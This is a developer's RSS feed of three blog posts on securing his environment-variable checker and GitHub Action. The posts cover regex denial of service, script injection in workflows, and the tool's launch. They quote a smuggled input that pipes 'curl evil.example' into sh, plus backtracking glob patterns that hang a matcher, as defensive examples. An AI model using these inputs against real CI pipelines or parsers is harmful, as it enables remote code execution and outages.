<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Utsav Mishra</title>
    <description>The latest articles on DEV Community by Utsav Mishra (@utsavmishra25).</description>
    <link>https://dev.to/utsavmishra25</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4166654%2F555b02e7-9812-4cf6-b270-fef4c3bd02f6.jpg</url>
      <title>DEV Community: Utsav Mishra</title>
      <link>https://dev.to/utsavmishra25</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/utsavmishra25"/>
    <language>en</language>
    <item>
      <title>One pull request could have frozen my uptime monitor for everyone</title>
      <dc:creator>Utsav Mishra</dc:creator>
      <pubDate>Sun, 18 Oct 2026 16:46:36 +0000</pubDate>
      <link>https://dev.to/utsavmishra25/one-pull-request-could-have-frozen-my-uptime-monitor-for-everyone-29dl</link>
      <guid>https://dev.to/utsavmishra25/one-pull-request-could-have-frozen-my-uptime-monitor-for-everyone-29dl</guid>
      <description>&lt;p&gt;I run a small service that checks every pull request for environment variables the code reads but nobody declared, and watches the sites those repos deploy to. Two weeks before launching it, I asked for a security review of the whole thing: about 12,500 lines of TypeScript, read by four reviewers in parallel, each taking one surface (web auth, the GitHub App and ingest, the worker, the CLI and supply chain).&lt;/p&gt;

&lt;p&gt;I expected to hear about tenant isolation. That part held: no cross-tenant read or write, no auth bypass, no way to make the server fetch an internal address. What came back instead was a different category of problem, and I'd never have found it myself: &lt;strong&gt;one hostile pull request could stop uptime checks and alerts for every user at once.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  A &lt;code&gt;.gitignore&lt;/code&gt; line that takes 27 seconds
&lt;/h2&gt;

&lt;p&gt;The PR check reads the repo's &lt;code&gt;.gitignore&lt;/code&gt; so it skips files the author doesn't track. My matcher turned each glob into a regular expression: &lt;code&gt;*&lt;/code&gt; became &lt;code&gt;[^/]*&lt;/code&gt;, bracket classes were copied through, and the result went into &lt;code&gt;new RegExp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That's a backtracking engine fed by whoever opens the PR. A pattern like &lt;code&gt;*a*a*a*a*a*a*a*a*a*b&lt;/code&gt; tested against a filename of forty &lt;code&gt;a&lt;/code&gt;s backtracks polynomially; the reviewer measured &lt;strong&gt;26.9 seconds for a single &lt;code&gt;test()&lt;/code&gt;&lt;/strong&gt; with nine stars, and another saw twelve stars run past two minutes. A bracket class like &lt;code&gt;[]|(a+)+b]&lt;/code&gt; is worse, because the raw copy turns it into a top-level alternation with &lt;code&gt;(a+)+&lt;/code&gt; inside, which is exponential. And &lt;code&gt;[z-a]&lt;/code&gt; doesn't hang at all: it throws, which has its own consequences I'll get to.&lt;/p&gt;

&lt;p&gt;Anyone who can open a PR on a repo with the app installed can write a &lt;code&gt;.gitignore&lt;/code&gt;. On a public repo that includes fork PRs. And the matcher ran synchronously inside the one worker process that also does the uptime checks, so while it spun, nothing was checked and nobody was alerted. Worse, the job queue can't expire a job while the event loop is blocked, and after a restart it retries the same job. Six times.&lt;/p&gt;

&lt;p&gt;The fix had two parts, and the first was embarrassing: git doesn't apply &lt;code&gt;.gitignore&lt;/code&gt; to files that are already in the tree, and the PR check only ever reads tracked files, so the matcher shouldn't have been running there at all. The CLI still needs one for untracked working directories, so it got a linear-time wildcard matcher modelled on git's own &lt;code&gt;wildmatch&lt;/code&gt;, bracket classes built safely, and caps on rule count and length.&lt;/p&gt;

&lt;h2&gt;
  
  
  The quadratic loop that only shows up at 37,000 references
&lt;/h2&gt;

&lt;p&gt;The second finding was the same shape with no regex in it. The code that groups a file's env-var references by name copied the array on every push. Harmless at fifty references. A 512 KB TypeScript file consisting of &lt;code&gt;process.env.A&lt;/code&gt; lines has about 37,000, and that loop alone took 12 seconds; at 74,000 it was 54. A chain of 8,000 Pydantic settings classes in reverse order didn't go quadratic, it ran out of stack.&lt;/p&gt;

&lt;p&gt;Both were on files the PR author controls, both ran in the shared worker, same blast radius. The fix for each was ordinary (push in place; resolve the class chain iteratively with a parent map). The fix that mattered was general: &lt;strong&gt;every PR check now runs in its own worker thread with a hard wall-clock limit, and a check that hits it is killed and reported as "couldn't be checked", neutral, never retried.&lt;/strong&gt; No tenant's pull request can block another tenant's monitoring, whatever I haven't thought of yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failing open is a security bug too
&lt;/h2&gt;

&lt;p&gt;Remember &lt;code&gt;[z-a]&lt;/code&gt;, the pattern that throws? It wasn't a hang. The check just crashed, and a crashed check posts nothing: no comment, no check run, no red mark. On a repo with strict mode and branch protection, a PR that commits a secret and happens to also break the matcher shows up as having no check at all, which looks like "not required" to GitHub.&lt;/p&gt;

&lt;p&gt;The review found three more ways to reach the same silence: a line with roughly 166,000 destructured keys blew a spread into &lt;code&gt;RangeError&lt;/code&gt;; the check-run output had no size cap, and GitHub rejects anything over 65,535 characters with a 422; and the code that looks for its own earlier comment trusted any bot's comment containing the marker. Each one ends in nothing posted. The rule that came out of it: an unexpected error produces a neutral "couldn't be checked" run, every time. Silence is never an outcome.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one that touched the promise
&lt;/h2&gt;

&lt;p&gt;My tool's whole pitch is that it only ever sees variable names, file paths and line numbers, never values. The review found a way for a fragment of a value to reach the server &lt;em&gt;as a name&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;An &lt;code&gt;.env&lt;/code&gt; file with an unterminated quote:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;KEY="abc&lt;br&gt;
wJalrXUtnFEMIK7MDENGbPxRfiCYEXAMPLEKEY=&lt;br&gt;
OTHER=1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;My parser fell through the unterminated quote on purpose, re-parsed every following line as &lt;code&gt;KEY=value&lt;/code&gt;, and so produced a key called &lt;code&gt;wJalrXUtnFEMIK7MDENGbPxRfiCYEXAMPLEKEY&lt;/code&gt;. That key became an "unused variable" finding, and findings get sent to the server. A PEM block pasted unquoted into &lt;code&gt;.env&lt;/code&gt; does the same with its last base64 line.&lt;/p&gt;

&lt;p&gt;Needs a malformed env file, so rare in CI and more likely on a laptop, and dry-run mode sends nothing. Still a lie on the security page. Now an unterminated quote swallows the rest of the file as that value, unquoted &lt;code&gt;-----BEGIN&lt;/code&gt; to &lt;code&gt;-----END&lt;/code&gt; is skipped, and the server validates every finding name against the env-name pattern, so even a buggy client can't push a value-shaped string through.&lt;/p&gt;

&lt;h2&gt;
  
  
  The test that never tested anything
&lt;/h2&gt;

&lt;p&gt;While fixing the quadratic loops I wrote timing tests: feed the hostile input, assert it finishes under a bound. One of them passed on the first run. That should have been the clue. When I checked out the pre-fix code and ran the same test, it passed there too. The input wasn't big enough to trigger the slow path on a fast machine, so the test was asserting nothing.&lt;/p&gt;

&lt;p&gt;Two rules came out of that, now written down in the repo: a timing test on hostile input has to be shown to fail against the code before the fix, or it isn't a test; and its bound needs about four times the headroom you measure locally, because the CI runner is slower and a flaky security test gets deleted by the next person it annoys.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd tell someone running a multi-tenant worker
&lt;/h2&gt;

&lt;p&gt;Availability is a tenant-isolation property. If one customer's input can block the loop that serves everyone, your isolation is only as good as your parsers. Anything you compile from user input into a regex is a denial-of-service you haven't measured yet. Anything you run on an attacker's file needs to be linear or run somewhere with a wall clock. And a check that can crash has to have an answer for what it posts when it does, because "nothing" reads as "fine".&lt;/p&gt;

&lt;p&gt;The whole fix was one focused week before launch, in the scanner and the worker, and none of it changed the product. The review itself was the valuable part; the findings are in the repo's security doc if you want the full list, including the ones I decided to live with.&lt;/p&gt;

&lt;p&gt;Source: &lt;a href="https://github.com/Utsav-mishra-25/deployhealth" rel="noopener noreferrer"&gt;Utsav-mishra-25/deployhealth&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you run user-supplied globs or regexes anywhere, when did you last time them with a hostile input?&lt;/p&gt;

</description>
      <category>security</category>
      <category>node</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
    <item>
      <title>I published my first GitHub Action. Five things I'd tell myself first</title>
      <dc:creator>Utsav Mishra</dc:creator>
      <pubDate>Thu, 15 Oct 2026 20:43:59 +0000</pubDate>
      <link>https://dev.to/utsavmishra25/i-published-my-first-github-action-five-things-id-tell-myself-first-1ap5</link>
      <guid>https://dev.to/utsavmishra25/i-published-my-first-github-action-five-things-id-tell-myself-first-1ap5</guid>
      <description>&lt;p&gt;This week I published my first GitHub Action to the Marketplace. It's a small one: a composite action that runs a CLI I maintain, pinned to an exact version, on every push.&lt;/p&gt;

&lt;p&gt;Small as it is, it taught me five things I wish I'd known before I started. None of them are specific to my tool, so here they are.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. A composite action is probably enough
&lt;/h2&gt;

&lt;p&gt;There are three kinds of actions: JavaScript, Docker and composite. I almost reached for JavaScript because that's what most popular actions use. But my action only needed to run one command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;runs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;using&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;composite&lt;/span&gt;
  &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bash&lt;/span&gt;
      &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npx --yes my-cli@0.5.0 --dry-run&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A composite action is just a list of steps, like a mini-workflow. No build step, no &lt;code&gt;dist/&lt;/code&gt; folder to commit, no container to pull. The cost is that it relies on what the runner already has. Mine needs Node, which GitHub-hosted runners include, so the README says plainly that self-hosted runners need Node installed.&lt;/p&gt;

&lt;p&gt;If your action is "run this tool with these flags", start with composite.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Never put &lt;code&gt;${{ inputs.x }}&lt;/code&gt; inside &lt;code&gt;run:&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;This was the one I didn't know, and it's the most important.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;${{ }}&lt;/code&gt; expressions are expanded &lt;strong&gt;before&lt;/strong&gt; the shell runs. The value gets pasted into your script as text. So if an input contains something like &lt;code&gt;"; curl evil.example | sh; echo "&lt;/code&gt;, it becomes part of your script. That's script injection, and GitHub's own security hardening guide for Actions warns about it.&lt;/p&gt;

&lt;p&gt;What I almost wrote:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bash&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npx --yes my-cli@0.5.0 --dir ${{ inputs.working-directory }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What I shipped:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bash&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;INPUT_DIR&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ inputs.working-directory }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npx --yes my-cli@0.5.0 --dir "$INPUT_DIR"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The expression now only sets an environment variable. Bash reads the variable as data, and the quotes keep it as a single argument. Every input in my action goes through &lt;code&gt;env:&lt;/code&gt; and is quoted, and there is no &lt;code&gt;${{ }}&lt;/code&gt; anywhere inside a &lt;code&gt;run:&lt;/code&gt; block.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Secrets go in &lt;code&gt;env:&lt;/code&gt;, not on the command line
&lt;/h2&gt;

&lt;p&gt;My CLI takes an API token. The obvious way is &lt;code&gt;--token "$TOKEN"&lt;/code&gt;. The problem: command-line arguments are visible to anything on the machine that can list processes, and they show up in logs the moment someone turns on &lt;code&gt;set -x&lt;/code&gt; or debug logging. GitHub masks registered secrets in logs, but I'd rather not depend on masking.&lt;/p&gt;

&lt;p&gt;So the CLI reads the token from an environment variable when &lt;code&gt;--token&lt;/code&gt; isn't given, and the action only ever passes it that way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bash&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;MY_CLI_TOKEN&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ inputs.token }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npx --yes my-cli@0.5.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Funny thing: a few days after shipping the action, a security pass found that the copy-paste workflow snippet on my own app's settings page still passed &lt;code&gt;--token&lt;/code&gt; on the command line. Fixed the same day.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Pin two different things, two different ways
&lt;/h2&gt;

&lt;p&gt;There are two versions in play, and they behave differently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The tool inside the action.&lt;/strong&gt; I pin the npm package to an exact version (&lt;code&gt;my-cli@0.5.0&lt;/code&gt;), because a published npm version can't change. Whatever a user's workflow runs today, it runs tomorrow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The action itself.&lt;/strong&gt; Users write &lt;code&gt;uses: owner/my-action@v1&lt;/code&gt;. But &lt;code&gt;v1&lt;/code&gt; is just a git tag, and tags can be moved. That's the whole point of a major-version tag: I move &lt;code&gt;v1&lt;/code&gt; forward when I release &lt;code&gt;v1.0.1&lt;/code&gt;. It's convenient, and it also means users are trusting me not to move it somewhere bad. So the README says: if you want a guarantee, pin the full commit SHA instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;owner/my-action@&amp;lt;full 40-character commit sha&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# v1.0.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Creating the moving tag after the first release is two commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git tag v1 v1.0.0
git push origin v1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When v1.0.1 ships, you move it with &lt;code&gt;git tag -f v1 v1.0.1&lt;/code&gt; and &lt;code&gt;git push -f origin v1&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Test the action in its own repo, including the failure path
&lt;/h2&gt;

&lt;p&gt;The repo has a workflow that runs the action on every push against a tiny fixture: one JS file that reads an env var, and a &lt;code&gt;.env.example&lt;/code&gt; that doesn't declare it. The action runs in dry-run mode, so it needs no secret.&lt;/p&gt;

&lt;p&gt;The part I'm happiest with is testing the failure. Without a token and without dry-run, the action must fail with a clear message. A step that must fail looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Run without a token (must fail)&lt;/span&gt;
  &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;no_token&lt;/span&gt;
  &lt;span class="na"&gt;continue-on-error&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;working-directory&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;test/fixture&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Check that it failed&lt;/span&gt;
  &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;steps.no_token.outcome != 'failure'&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
    &lt;span class="s"&gt;echo "The action should fail without a token"&lt;/span&gt;
    &lt;span class="s"&gt;exit 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;continue-on-error&lt;/code&gt; lets the workflow keep going, and &lt;code&gt;outcome&lt;/code&gt; still records what really happened. If someone later "fixes" the action so it silently succeeds without a token, this goes red.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bonus: Marketplace gotchas
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The name must be unique.&lt;/strong&gt; Not just among actions: it can't match a Marketplace category, or a GitHub user or organization you don't own. Search the Marketplace first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fill in the release title.&lt;/strong&gt; I left it empty, and my first release showed up as "v1.0.0: Merge pull request #1 from …".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't write &lt;code&gt;@v1&lt;/code&gt; in release notes.&lt;/strong&gt; GitHub turned it into an @-mention of a real user called &lt;code&gt;v1&lt;/code&gt;, who then appeared as a contributor to my release. Put it in backticks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Wrapping up
&lt;/h2&gt;

&lt;p&gt;None of this is hard, but #2 and #3 are easy to get wrong, and they're the kind of mistake that only matters once someone exploits it. If you maintain an action, it's worth a two-minute look at your &lt;code&gt;run:&lt;/code&gt; blocks.&lt;/p&gt;

&lt;p&gt;The action I built is open source if you want to see all of this in one place: &lt;a href="https://github.com/Utsav-mishra-25/deployhealth-action" rel="noopener noreferrer"&gt;Utsav-mishra-25/deployhealth-action&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Do you pin third-party actions by SHA, or do you trust tags? I'm curious where people draw the line.&lt;/p&gt;

</description>
      <category>githubactions</category>
      <category>devops</category>
      <category>security</category>
      <category>opensource</category>
    </item>
    <item>
      <title>A missing line in .env.example took down our prod, so I built a PR check for it</title>
      <dc:creator>Utsav Mishra</dc:creator>
      <pubDate>Tue, 06 Oct 2026 15:07:47 +0000</pubDate>
      <link>https://dev.to/utsavmishra25/a-missing-line-in-envexample-took-down-our-prod-so-i-built-a-pr-check-for-it-hfp</link>
      <guid>https://dev.to/utsavmishra25/a-missing-line-in-envexample-took-down-our-prod-so-i-built-a-pr-check-for-it-hfp</guid>
      <description>&lt;p&gt;I work as a software engineer at a startup, where small changes go out to production all the time. One of them broke a feature in prod. The code looked fine. We went through the commit history line by line looking for what we had missed, while 500s kept piling up.&lt;/p&gt;

&lt;p&gt;The cause was an env var. The change read a new variable that existed on the developer's machine but had never been added to &lt;code&gt;.env.example&lt;/code&gt; or to production. One missing line, and the feature went down.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why nothing caught it
&lt;/h2&gt;

&lt;p&gt;This bug slips past every usual safety net:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tests pass&lt;/strong&gt;, because they mock the config or run with a local &lt;code&gt;.env&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review misses it&lt;/strong&gt;, because a new &lt;code&gt;process.env.SOMETHING&lt;/code&gt; is one short line in a long diff, and nobody checks it against &lt;code&gt;.env.example&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The build passes&lt;/strong&gt;, because a missing env var isn't a compile error. It's just &lt;code&gt;undefined&lt;/code&gt; at runtime.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Production finds it&lt;/strong&gt;, after the deploy, through users or error logs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The fix takes ten seconds. Finding it takes hours.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you can do today, without any tool
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Validate env vars at startup.&lt;/strong&gt; &lt;code&gt;t3-env&lt;/code&gt;, &lt;code&gt;envalid&lt;/code&gt; or a small &lt;code&gt;zod&lt;/code&gt; schema make the app fail on boot with a clear message, instead of on the first request with a mystery 500.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat &lt;code&gt;.env.example&lt;/code&gt; as a contract.&lt;/strong&gt; Every variable the code reads belongs there. Put it on your PR checklist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check the diff before merging.&lt;/strong&gt; Search it for &lt;code&gt;process.env.&lt;/code&gt; or &lt;code&gt;os.environ&lt;/code&gt; and compare each name against &lt;code&gt;.env.example&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All three work. The third one only works if someone remembers to do it, and that's the part I wanted to automate.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I built: deployhealth
&lt;/h2&gt;

&lt;p&gt;It started as &lt;strong&gt;envcheck&lt;/strong&gt;, a small scanner that finds every env var your code reads and compares them with your env files. Pull request checks and uptime monitoring grew around it, and it became &lt;strong&gt;deployhealth&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. A pull request check (GitHub App).&lt;/strong&gt; When a PR starts reading a new env var, the App comments with the name and the exact file and line, and warns if it isn't declared in &lt;code&gt;.env.example&lt;/code&gt;. It also flags a committed &lt;code&gt;.env&lt;/code&gt; file and anything on the added lines that looks like a leaked key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. A scan on every push (CLI).&lt;/strong&gt; The CLI checks the whole repo the same way and reports, per deploy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;variables the code reads but nothing declares,&lt;/li&gt;
&lt;li&gt;variables declared but never used,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.env&lt;/code&gt; and &lt;code&gt;.env.example&lt;/code&gt; drifting apart.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Try it on your own repo. In dry-run mode it sends nothing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx &lt;span class="nt"&gt;-y&lt;/span&gt; deployhealth-scan &lt;span class="nt"&gt;--dry-run&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Uptime checks that know about deploys.&lt;/strong&gt; If an endpoint starts failing soon after a deploy, the alert names that deploy and the env vars it introduced. From the live demo:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Acme API started failing 4m after deploy b52952e, which introduced 2 missing env vars: REDIS_URL, STRIPE_KEY&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It only ever handles variable &lt;strong&gt;names&lt;/strong&gt;, file paths and line numbers, never values.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it doesn't do yet
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;It reads &lt;strong&gt;JS/TS, Python, Go and Ruby&lt;/strong&gt;. On other stacks, the PR check says it can't check the repo yet instead of showing a green pass.&lt;/li&gt;
&lt;li&gt;It can't see what's actually set on Vercel or Railway, only what's in your repo.&lt;/li&gt;
&lt;li&gt;It's regex-based, so dynamic reads like &lt;code&gt;process.env[name]&lt;/code&gt; are missed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How I built it
&lt;/h2&gt;

&lt;p&gt;I built deployhealth in close collaboration with Claude Code, and the process mattered as much as the code.&lt;/p&gt;

&lt;p&gt;Every phase started with a written plan from me: what to build, what must never happen, and how to test it. Before any code was written, the plan came back as a list of numbered decisions, and I approved, changed or rejected each one. Then came small commits, the full test suite, and a summary I reviewed before anything was merged. I read the risky parts myself: authentication, the webhook, anything public, anything that touches someone else's repo.&lt;/p&gt;

&lt;p&gt;Some of the most useful moments came from that back-and-forth:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A security review before launch&lt;/strong&gt; found that one crafted pull request could freeze the worker that runs the checks. The check now runs in an isolated thread with a time limit, and every parser runs in linear time, with tests that fail on the slow version.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A friend tried it on a Java/Spring repo&lt;/strong&gt; and got a green check that had read nothing. That became a whole phase: every check now says what it actually read, and a repo it can't read says so.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The docs and the code once disagreed&lt;/strong&gt; about how jobs were locked. Since then I check every claim against the code, not just the summary.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The infrastructure, the releases and the final call on every decision were mine. The result is something I understand end to end and can stand behind.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Live demo, no login: &lt;a href="https://deployhealth.dev/demo" rel="noopener noreferrer"&gt;https://deployhealth.dev/demo&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;GitHub App: &lt;a href="https://github.com/apps/deployhealth" rel="noopener noreferrer"&gt;https://github.com/apps/deployhealth&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Source: &lt;a href="https://github.com/Utsav-mishra-25/deployhealth" rel="noopener noreferrer"&gt;https://github.com/Utsav-mishra-25/deployhealth&lt;/a&gt; (the scanner and CLI are MIT, the rest is FSL and free to self-host)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The hosted version is free while in beta. It's built for small teams and freelancers who look after several apps.&lt;/p&gt;

&lt;p&gt;Two questions for you: has a missing env var ever taken down your prod, and how long did it take to find? And if you run the dry run on your repo, does it catch anything, or get something wrong?&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>webdev</category>
      <category>devops</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
